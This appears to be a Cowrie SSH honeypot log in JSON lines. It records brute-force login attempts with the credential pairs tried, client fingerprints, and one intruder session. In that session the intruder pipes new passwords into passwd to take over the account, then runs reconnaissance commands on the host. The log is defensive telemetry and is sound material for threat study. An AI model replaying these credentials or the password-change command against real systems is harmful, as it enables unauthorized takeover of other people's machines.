{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:51.766929Z","src_ip":"43.162.98.118","session":"6400bbc4ac1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":54832,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e99c0f11900","protocol":"ssh","message":"New connection: 43.162.98.118:54832 (159.203.135.109:22) [session: 2e99c0f11900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:51.833737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:51.838868Z","src_ip":"43.162.98.118","session":"2e99c0f11900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:51.909337Z","src_ip":"43.162.98.118","session":"2e99c0f11900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:52.216675Z","src_ip":"43.162.98.118","session":"2e99c0f11900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:52.576608Z","src_ip":"80.94.92.184","session":"45565118c3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.292615Z","src_ip":"43.162.98.118","session":"2e99c0f11900","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.406376Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.410021Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.482564Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.657763Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123.0\\nfPJZolxU3NEQ\\nfPJZolxU3NEQ\"|passwd|bash","message":"CMD: echo -e \"admin123.0\\nfPJZolxU3NEQ\\nfPJZolxU3NEQ\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.661540Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.665845Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.669445Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9feffc07986916935c1f711cb92438ae1b91957405639922aa53e2033995d006","size":32,"shasum":"9feffc07986916935c1f711cb92438ae1b91957405639922aa53e2033995d006","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/9feffc07986916935c1f711cb92438ae1b91957405639922aa53e2033995d006 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.742497Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.925939Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123.0\\nfPJZolxU3NEQ\\nfPJZolxU3NEQ\\n\"|passwd","message":"CMD: echo \"admin123.0\\nfPJZolxU3NEQ\\nfPJZolxU3NEQ\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:53.929888Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1ca1385bc39eea5f3b32a79712384c36b6324ac37341e96dcc55e75fd4854f2f","size":25,"shasum":"1ca1385bc39eea5f3b32a79712384c36b6324ac37341e96dcc55e75fd4854f2f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1ca1385bc39eea5f3b32a79712384c36b6324ac37341e96dcc55e75fd4854f2f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.001941Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.221328Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.224686Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.296500Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.515151Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.518406Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.591990Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.772871Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.776102Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.779893Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:54.854002Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.067572Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.071031Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.143958Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.328833Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.332554Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.404563Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.594426Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.598112Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.670398Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.850083Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.853698Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:55.927105Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.149091Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.153339Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.229030Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.395434Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.398321Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.468904Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.651072Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.654547Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.727298Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.909386Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.913067Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:56.986128Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.169108Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.172333Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.245264Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.428033Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.431620Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.505035Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:57.511296Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":39558,"dst_ip":"159.203.135.109","dst_port":22,"session":"499d8c3c8737","protocol":"ssh","message":"New connection: 36.92.140.209:39558 (159.203.135.109:22) [session: 499d8c3c8737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:09.180891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:09.185676Z","src_ip":"36.92.140.209","session":"499d8c3c8737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:09.454817Z","src_ip":"36.92.140.209","session":"499d8c3c8737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oo00oo00","message":"login attempt [root/oo00oo00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:28:10.562828Z","src_ip":"36.92.140.209","session":"499d8c3c8737","protocol":"ssh"}
